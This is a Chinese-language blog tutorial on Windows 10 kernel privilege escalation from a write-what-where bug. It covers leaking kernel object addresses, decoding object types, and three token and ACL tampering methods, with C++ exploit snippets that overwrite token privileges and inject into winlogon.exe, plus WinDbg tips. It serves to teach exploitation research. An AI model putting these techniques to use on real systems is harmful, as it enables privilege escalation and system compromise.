WindowsKernelExploit2.5

上篇我们只是简单介绍了一下 在Windows Kernel中的 WWW 类型的漏洞应该怎么利用。这一篇将会比较详细的讲解一下常见的理用方式以及相关调试技巧。(可能会借助上一篇中存在的漏洞)
本篇转自安全客 https://www.anquanke.com/post/id/218681

Windows Kernel Exploit中的那些事儿

当谈到Kernel Exploit的时候,我们希望做到什么?

其实很多的漏洞利用,最终都是为了转换成这个漏洞——任意位置读写。所以我们首先要有一个概念就是,当我们获得了一个WWW类型的漏洞的时候,我们需要做什么。这里我们借助这一篇文章一起来学习一下

如果获得了WWW(Write-What-Where)

当我们通过IOCTL等各种方式与内核模块发生了交互的时候,我们实际上就拥有了从usermode向kernelmode发起交互的能力,这个时候其实就类似在用户态能够进行交互。所以当我们能够拥有一个WWW漏洞的时候,实际上我们希望做到的事情是

能够将一个由我们控制的进程权限,提升到我们想要让它达到的权限上去

非常重要的一点是,我们需要明白此时的我们需要的目的是什么。也就是说

并不是单纯追求system shell,而是在保证系统稳定的前提下,获得我们想要的权限

这点很重要。前几次的攻击练习中,我单纯的以为kernel exploit就是将某个进程的PROCESS TOKEN复制到当前进程。如果需要做到这一步的话,那么实际上意味着我们此时的攻击需要能够执行shellcode。类比一下的话,就好像在玩linux pwn题,然后此时我们非要获得一个函数指针,或者是关闭了NX的栈溢出,然后等待着jmp esp之类奇怪指令的出现。

但是!如果我们只是为了获得想要的权限的话,不如从源头出发,也就是考虑Windows下的各种权限都是怎么得到的呢?。进一步来说,为什么winlogon.exe这个程序的权限这么高,而我们自己启动的cmd.exe能做到的事情那么少,但是为什么windbg.exe却好像能够跨过某些障碍进行调试呢?其实这就是之前博客中提到过的Windows权限管理实现的。简单来说,就是以下两个特性:

  • Access Right: 访问控制
  • Privilege: 特权

这两个特性控制了Windows下的权限,而当我们想要进行越权操作的时候,实际上我们就是企图控制一个进程的权限控制模块。于是,当获得了一个WWW类型漏洞,我们实际上应该是尝试修改当前进程的权限管理对象,说白了,也就是一些存放在内核中的系统变量。

从 NtQuerySystemInformation 开始的故事

Windows的NtQuery*API系列其实能做的事情比他文档中写出来的多得多,其中最厉害的就是这个NtQuerySystemInformation,这个API能够返回一些系统级别的内存对象,例如:

  • 当前系统进程/线程信息
  • 当前页文件使用状况/缓存使用情况
  • 系统的一些中断信息

简直就像是一个后门函数了(笑)
这里我们关注一个叫做SystemHandleInformation类型的数据,通过传入这个参数,我们能够获得当前进程中的每一个句柄的使用情况:

1
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);

其中句柄的结构长这个样子:

1
2
3
4
5
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

这个地方记录了当前进程中,所有会使用到的句柄。注意是所有,换句话说,有些句柄可能并不是当前进程打开的,也会记录在这边(之后会举例)。句柄的结构体如下:

1
2
3
4
5
6
7
8
9
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId; // 当前句柄属于的进程
UCHAR ObjectTypeNumber; // 当前句柄的类型
UCHAR Flags;
USHORT Handle; // 当前句柄的句柄号
void* Object; // 当前句柄实际对象的地址
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

之前的博客中有提到过,Windows大部分时候都是直接使用句柄这个概念与上层进行交互的,不过通过这个结构体,我们就能够直接拿到句柄真正对应的对象,然后对句柄对应的内容进行修改。

插曲:ObjectTypeNumber的对应关系

上述可以看到,那个ObjectTypeNumber其实表示的是当前句柄的类型,不过我上网查到的很多资料都有问题,所以这里我们自己整理一份对应关系。首先这边的大佬帮忙整理了在Win10中,不同的Object在内存中的组织形式发生了什么样的变化,简单来说,在早期的windows系统中,通过查看_OBJECT_HEADER是能够知道当前的对象类型的,但是win10修改了,其计算放在这个函数上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1: kd> uf nt!ObGetObjectType
nt!ObGetObjectType:
81e13e44 8bff mov edi,edi
81e13e46 55 push ebp
81e13e47 8bec mov ebp,esp
81e13e49 8b4d08 mov ecx,dword ptr [ebp+8]
81e13e4c 8d41e8 lea eax,[ecx-18h]
81e13e4f 0fb649f4 movzx ecx,byte ptr [ecx-0Ch]
81e13e53 c1e808 shr eax,8
81e13e56 0fb6c0 movzx eax,al
81e13e59 33c1 xor eax,ecx
81e13e5b 0fb60dd824d081 movzx ecx,byte ptr [nt!ObHeaderCookie (81d024d8)]
81e13e62 33c1 xor eax,ecx
81e13e64 8b0485e024d081 mov eax,dword ptr nt!ObTypeIndexTable (81d024e0)[eax*4]
81e13e6b 5d pop ebp
81e13e6c c20400 ret 4

稍微逆向一下就知道,现在想要通过_OBJECT_HEADER知道当前对象的类型,就得用这个算式:

1
nt!ObTypeIndexTable[(当前objectheader的地址的第二个字节^TypeIndex^poi(nt!ObHeaderCookie)最低字节)*4]

这里举个例子。比如我们想要知道的TOKEN这个对象的objectheader长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n33
+0x004 HandleCount : 0n2
+0x004 NextToFree : 0x00000002 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x8e ''
+0x00d TraceFlags : 0 ''
+0x00d DbgRefTrace : 0y0
+0x00d DbgTracePermanent : 0y0
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0x2 ''
+0x00f NewObject : 0y0
+0x00f KernelObject : 0y1
+0x00f KernelOnlyAccess : 0y0
+0x00f ExclusiveObject : 0y0
+0x00f PermanentObject : 0y0
+0x00f DefaultSecurityQuota : 0y0
+0x00f SingleHandleEntry : 0y0
+0x00f DeletedInline : 0y0
+0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x8d2952c0 Void
+0x014 SecurityDescriptor : 0xa7a779d2 Void
+0x018 Body : _QUAD

那么我们此时计算的值就是:

1
2
1: kd> ? (0x18^0x8e^0x93)
Evaluate expression: 5 = 00000005

最终我们检查内存中的形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> dt nt!_object_type poi(nt!ObTypeIndexTable + (0x5*4))
+0x000 TypeList : _LIST_ENTRY [ 0x8639bbd0 - 0x8639bbd0 ]
+0x008 Name : _UNICODE_STRING "Token"
+0x010 DefaultObject : 0x81cb60f0 Void
+0x014 Index : 0x5 ''
+0x018 TotalNumberOfObjects : 0x9f0
+0x01c TotalNumberOfHandles : 0x396
+0x020 HighWaterNumberOfObjects : 0xa59
+0x024 HighWaterNumberOfHandles : 0x3d6
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x080 TypeLock : _EX_PUSH_LOCK
+0x084 Key : 0x656b6f54
+0x088 CallbackList : _LIST_ENTRY [ 0x8639bc58 - 0x8639bc58 ]

这个object确实是token,证明了我们的猜测。
并且我们可以看到,这个计算的结果5其实正好就是ObjectTypeNumber,所以我也整理了一遍这个ObjectTypeNumber,这次只用在win10上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
typedef enum _SYSTEM_HANDLE_TYPE
{
OB_TYPE_TYPE = 2,
Directory = 3,
SymbolicLink,
Token,
Job,
Process,
Thread,
Partition,
UserApcReserve,
IoCompletionReserve,
ActivityReference,
PsSiloContextPaged,
PsSiloContextNonPaged,
DebugObject,
Event,
Mutant,
Callback,
Semaphore,
Timer,
IRTimer,
Profile,
KeyedEvent,
WindowStation,
Desktop,
Composition,
RawInputManager,
CoreMessaging,
ActivationObject,
TpWorkerFactory,
Adapter,
Controller,
Device,
Driver,
IoCompletion,
WaitCompletionPacket,
File,
TmTm
}

后面还有好多。。。等用到时候再列出来吧。。。

需要修改哪些地方呢

我们之前提到说,想要提权,可以从如下两个角度去入手:

  • Access Right: 访问控制
  • Privilege: 特权

那假设我们可以控制一些变量来修改这个值(而不是通过控制kernel code的执行),我们可以从如下的角度去考虑

  • 我们是否可以移除一个windows object的所有ACLs?
  • 我们是否可以给一个进程token任意的特权?
  • 我们是否可以替换掉一个进程的token?

其中第一条是针对Access Right的攻击手段,第二三条则是Privilege的相关攻击手段。那么我们一条条来分析可行性

方法一:ACLs的修改

Windows底下有一条很有趣的规矩:

如果一个对象的ACLs是空的,那么这个对象将被视为可以被任意权限的任意对象进行任意访问。而如果ACLs被初始化为空(empty),那么将视为当前对象没有被赋予任何的被访问的权限,所以不能被任何对象以任何权限访问

总的来说,区别就体现在结构体的这个地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n33
+0x004 HandleCount : 0n2
+0x004 NextToFree : 0x00000002 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x8e ''
+0x00d TraceFlags : 0 ''
+0x00d DbgRefTrace : 0y0
+0x00d DbgTracePermanent : 0y0
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0x2 ''
+0x00f NewObject : 0y0
+0x00f KernelObject : 0y1
+0x00f KernelOnlyAccess : 0y0
+0x00f ExclusiveObject : 0y0
+0x00f PermanentObject : 0y0
+0x00f DefaultSecurityQuota : 0y0
+0x00f SingleHandleEntry : 0y0
+0x00f DeletedInline : 0y0
+0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x8d2952c0 Void
+0x014 SecurityDescriptor : 0xa7a779d2 Void
+0x018 Body : _QUAD

SecurityDescriptor这个对象当指向的内容为空的时候,就是我们提到的第一种情况,也就是当前对象变成可以被任意对象访问

实践:利用WWW漏洞修改winlogon.exe进程对象的访问控制权限

我们知道,winlogon.exe这个进程的权限特别的高,那我们能不能通过找到这个进程的EPROCESS对应的object_header,将其中的DACL给改成空的,就能够实下代码注入了呢?我们这边稍微实验一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// first, we should open target process on our processPROCESSENTRY32 entry;
DWORD dwPid = GetProcessID(L"winlogon.exe");
printf("the winlogon.exe pid is 0x%x\n", dwPid);
// then, we try to open a handle
HANDLE hTarget = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid);
if (!hTarget) {
std::cout << "Open winlogon.exe failed" << std::endl;
return false;
}
// next, we try to open this eprocess address at kernel
DWORD dwEPROCESS = GetKernelPointer(hTarget, 0x7);
DWORD dwObjectHeader = dwEPROCESS - 0x18;
printf("[+] winlogon.exe eprocess addr [0x%x], the object addr [0x%x] and the dacl addr [0x%x]\n", dwEPROCESS, dwObjectHeader, dwObjectHeader + 0x14);

// here we try to change the dacl to another one
WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
DWORD dwTargetOffset = dwEPROCESS - 0x4;
DWORD dwRetSize = 0;
WWW->Where = (ULONG_PTR)dwTargetOffset;
//std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
UINT64 uAllPrivelage = 0;
WWW->What = (ULONG_PTR)&uAllPrivelage;
// WWW->What = (ULONG)&dwRealExAllocatePool;
// copy exp to target address
std::cout << "Now we will write[" << WWW->Where << "]:" << *(ULONG*)(WWW->What) << std::endl;
// Call the WWW vulnerability to write the target address
Vunelrable(WWW);
// now because the dacl has been changed, we guess this process may could be inject
// Tro to inject code
InjectToWinlogon();
HeapFree(GetProcessHeap(), 0, WWW);
return true;

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000189
(0x8D1D9028,0x8639B480,0x00000001,0x00000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!RtlpBreakWithStatusInstruction:
81b66484 cc int 3
1: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

BAD_OBJECT_HEADER (189)
The OBJECT_HEADER has been corrupted
Arguments:
Arg1: 8d1d9028, Pointer to bad OBJECT_HEADER
Arg2: 8639b480, Pointer to the resulting OBJECT_TYPE based on the TypeIndex in the OBJECT_HEADER
Arg3: 00000001, The object security descriptor is invalid.
Arg4: 00000000, Reserved.

Debugging Details:
------------------

非常遗憾,没有生效,上网检查了一下,发现其实是Win10给出的一种攻击的缓解手段。在Win10上,EPROCESS这个对象的_OBJECT_HEADER中指向DS的指针是不能为空的,否则就会报错,具体可以看这里。这篇文章还介绍了一下如何绕过这个防护,继续利用dacl进行攻击。利用的思路就是修改成了:通过修改winlogon.exe中的AECs,让其进程允许来自任意SID token 的用户修改,然后再进行inject即可。具体可参考链接里面给出的方法,这边暂时就不演示(虚拟机崩的太多了,心态崩溃)

方法二:TOKEN结构体

前面介绍了ACL的攻击方式,那么这次我们回到TOKEN上面,介绍一下修改token的攻击。之前我们提到说,想要提权,其实就是修改这个TOKEN结构体的成员变量。这个结构体在WIN10中结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
1: kd> dt nt!_TOKEN
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER
+0x030 TokenLock : Ptr32 _ERESOURCE
+0x034 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
+0x058 AuditPolicy : _SEP_AUDIT_POLICY
+0x078 SessionId : Uint4B
+0x07c UserAndGroupCount : Uint4B
+0x080 RestrictedSidCount : Uint4B
+0x084 VariableLength : Uint4B
+0x088 DynamicCharged : Uint4B
+0x08c DynamicAvailable : Uint4B
+0x090 DefaultOwnerIndex : Uint4B
+0x094 UserAndGroups : Ptr32 _SID_AND_ATTRIBUTES
+0x098 RestrictedSids : Ptr32 _SID_AND_ATTRIBUTES
+0x09c PrimaryGroup : Ptr32 Void
+0x0a0 DynamicPart : Ptr32 Uint4B
+0x0a4 DefaultDacl : Ptr32 _ACL
+0x0a8 TokenType : _TOKEN_TYPE
+0x0ac ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
+0x0b0 TokenFlags : Uint4B
+0x0b4 TokenInUse : UChar
+0x0b8 IntegrityLevelIndex : Uint4B
+0x0bc MandatoryPolicy : Uint4B
+0x0c0 LogonSession : Ptr32 _SEP_LOGON_SESSION_REFERENCES
+0x0c4 OriginatingLogonSession : _LUID
+0x0cc SidHash : _SID_AND_ATTRIBUTES_HASH
+0x154 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH
+0x1dc pSecurityAttributes : Ptr32 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
+0x1e0 Package : Ptr32 Void
+0x1e4 Capabilities : Ptr32 _SID_AND_ATTRIBUTES
+0x1e8 CapabilityCount : Uint4B
+0x1ec CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH
+0x274 LowboxNumberEntry : Ptr32 _SEP_LOWBOX_NUMBER_ENTRY
+0x278 LowboxHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY
+0x27c pClaimAttributes : Ptr32 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION
+0x280 TrustLevelSid : Ptr32 Void
+0x284 TrustLinkedToken : Ptr32 _TOKEN
+0x288 IntegrityLevelSidValue : Ptr32 Void
+0x28c TokenSidValues : Ptr32 _SEP_SID_VALUES_BLOCK
+0x290 IndexEntry : Ptr32 _SEP_LUID_TO_INDEX_MAP_ENTRY
+0x294 DiagnosticInfo : Ptr32 _SEP_TOKEN_DIAG_TRACK_ENTRY
+0x298 BnoIsolationHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY
+0x29c SessionObject : Ptr32 Void
+0x2a0 VariablePart : Uint4B

这其中最关键的就是

1
+0x040 Privileges       : _SEP_TOKEN_PRIVILEGES

这个位置记录了当前进程的特权。特权的结构如下:

1
2
3
4
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault : Uint8B

之前提到过,Windows再运行过程中,实际上是检查了Enabled这个位置的特权。换句话说,如果这个位置的特权都打开了,那么当前进程将会获得所有类型的特权。具体的exp可以参考上一篇博客,这里给出一个大概的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// New Method
HANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!hCurrentProcess) {
std::cout << "[-] Open Current process faiiled" << std::endl;
return;
}

HANDLE hToken = 0;
// the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token
if (!OpenProcessToken(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &hToken)) {
std::cout << "[-] Couldn't get curr ent process token" << std::endl;
return;
}
// The 0x5 is what??????
DWORD kToken = GetKernelPointer(hToken, 0x5);
DWORD dwTargetOffset = kToken + 0x48;

std::cout << "The target token offest is " << dwTargetOffset << std::endl;
WrtieWhatWhere *WWW = (WrtieWhatWhere*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WrtieWhatWhere));
WWW->Where = (ULONG_PTR)dwTargetOffset;
//std::cout << "Base address:" << dwBaseAddress << " ExOffset:" << ulExAllocatePool;
UINT64 uAllPrivelage= 0xffffffffffffffff;
WWW->What = (ULONG_PTR)&uAllPrivelage;
// Call the WWW vulnerability to write the target address
Vunelrable(WWW);
// now because the dacl has been changed, we guess this process may could be inject
// Tro to inject code
InjectToWinlogon();

方法三:替换TOKEN

这个方法其实之前也用过,就是比较简单的替换到EPROCESS中的这个地方:

1
2
3
4
5
6
7
8
9
10
11
0: kd> dt nt!_EPROCESS
//....
+0x0d8 ProcessQuotaUsage : [2] Uint4B
+0x0e0 ProcessQuotaPeak : [2] Uint4B
+0x0e8 PeakVirtualSize : Uint4B
+0x0ec VirtualSize : Uint4B
+0x0f0 SessionProcessLinks : _LIST_ENTRY
+0x0f8 ExceptionPortData : Ptr32 Void
+0x0f8 ExceptionPortValue : Uint4B
+0x0f8 ExceptionPortState : Pos 0, 3 Bits
+0x0fc Token : _EX_FAST_REF <------------修改这里

不过修改这个地方的话,之前的做法比较无脑,一般就是:

  • 找到一个超高权限的进程,例如system
  • 将其token复制过来,覆盖当前进程的token

这个做法其实有点问题。我们看到token这个玩意儿的结构体:

1
2
3
4
5
6
7
8
9
typedef struct _EX_FAST_REF
{
union
{
PVOID Object;
ULONG RefCnt: 3;
ULONG Value;
};
} EX_FAST_REF, *PEX_FAST_REF;

可以看到,它虽然是一个指针,但是低3bit是用来表示当前对象的引用次数的。换句话说,如果我们真的拷贝了某一个token的话,其实还需要将当前token 的refCnt数量给修改了,不然当被我们拷贝的那个进程结束的时候,token本身也就会被销毁,从而导致BSoD。不过,我们可以看到之前提到的那个_OBJECT_HEADER,当我们修改这个结构体中的PointerCount的时候,系统就会认为当前对象的引用计数+1,从而放指bsod。

1
2
3
4
1: kd> dt _Object_header 8bfd1888
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n33
+0x004 HandleCount : 0n2

参考的文章中提供了一种比较常见的利用思路

  • 通过hook NtOpenThreadToken(),然后调用MsiInstallProduct()API(需要中级的权限)来截获SystemToken
  • 当我们有多次写的能力的时候,我们需要首先将TOKEN-0x18(也就是PointerCount)数量+1,之后再修改当前进程token为这个token
  • 如果只有单次写能力的时候,首先选择一个不太可能结束的进程(例如system),修改完当前进程的token之后,马上从这个不太可能结束的进程中复制两个token的句柄。

关于Windbg

调试是帮助理解的一个重要的过程。这里记录一些有用的能够帮助分析的一些调试技巧

内核调试进程

调试内核的时候,首先最想要知道的就是进程相关的信息,使用

1
kd>!process 0 0

来枚举当前内核中所有的进程,或者使用

1
kd>!process 0 0 ImageName

来指定加载了ImageName的进程。(不过和上面那个指令执行的速度基本一样快)
执行之后,就会打印如下的内容:

1
2
3
4
5
1: kd> !process 0 0 Exploit.exe
PROCESS aed07600 SessionId: 1 Cid: 1b90 Peb: 00451000 ParentCid: 0d24
DirBase: 3ffd35c0 ObjectTable: af3f4540 HandleCount: 38.
Image: Exploit.exe

这里稍微解释一下其中几个常见值的意义:

  • PROCESS后面指出的就是当前进程的EPROCESS的地址
  • SessionId表示的是当前枚举进程所属的会话
  • Cid表示CLIENT_ID,这里本质上就是PID
  • PEB表示当前PEB的地址。。。
  • ParentCid表示父进程PID

其他值暂时还没搞懂是啥意思

切换进程

直接上网查的话,很容易查到说kernel层切换进程的指令为:

1
kd>.process /r /p EPROCESS

然而这个指令本质上只是表示将当前进程中的所有的分页表映射对应的物理地址中,这个操作其实对于live debug帮助实际上并没有那么大,只能说对于full dump之类的场合,能够更加方便的分析进程信息。如果在live debug中,可以使用

1
kd>.process /i EPROCESS

使用完之后,windbg会提示使用g指令运行一阵子,当再次发生中断的时候,此时整个windbg就会切换到我们指定的进程空间中。这个时候使用形如!token之类的指令,就能够直接查询指定进程的基本信息了。

检查Object header

Windows中万物皆object,所以基本上可以认为每一个你能看到的结构中,都会有一个object header,而且大小似乎是固定的0x18(x86)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _OBJECT_HEADER
{
LONG PointerCount;
union
{
LONG HandleCount;
PVOID NextToFree;
};
POBJECT_TYPE Type;
UCHAR NameInfoOffset;
UCHAR HandleInfoOffset;
UCHAR QuotaInfoOffset;
UCHAR Flags;
union
{
POBJECT_CREATE_INFORMATION ObjectCreateInfo;
PVOID QuotaBlockCharged;
};
PVOID SecurityDescriptor;
QUAD Body;
} OBJECT_HEADER, *POBJECT_HEADER;

所以如果需要看这个对象的一些会记录在object_header中的基本属性的时候,可以直接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0: kd> dt _object_header  a4401ca8-0x18
nt!_OBJECT_HEADER
+0x000 PointerCount : 0n9
+0x004 HandleCount : 0n0
+0x004 NextToFree : (null)
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0x8a ''
+0x00d TraceFlags : 0 ''
+0x00d DbgRefTrace : 0y0
+0x00d DbgTracePermanent : 0y0
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0x2 ''
+0x00f NewObject : 0y0
+0x00f KernelObject : 0y1
+0x00f KernelOnlyAccess : 0y0
+0x00f ExclusiveObject : 0y0
+0x00f PermanentObject : 0y0
+0x00f DefaultSecurityQuota : 0y0
+0x00f SingleHandleEntry : 0y0
+0x00f DeletedInline : 0y0
+0x010 ObjectCreateInfo : 0x81cc63c0 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x81cc63c0 Void
+0x014 SecurityDescriptor : 0x9f9bed11 Void
+0x018 Body : _QUAD

参考链接

http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf
https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a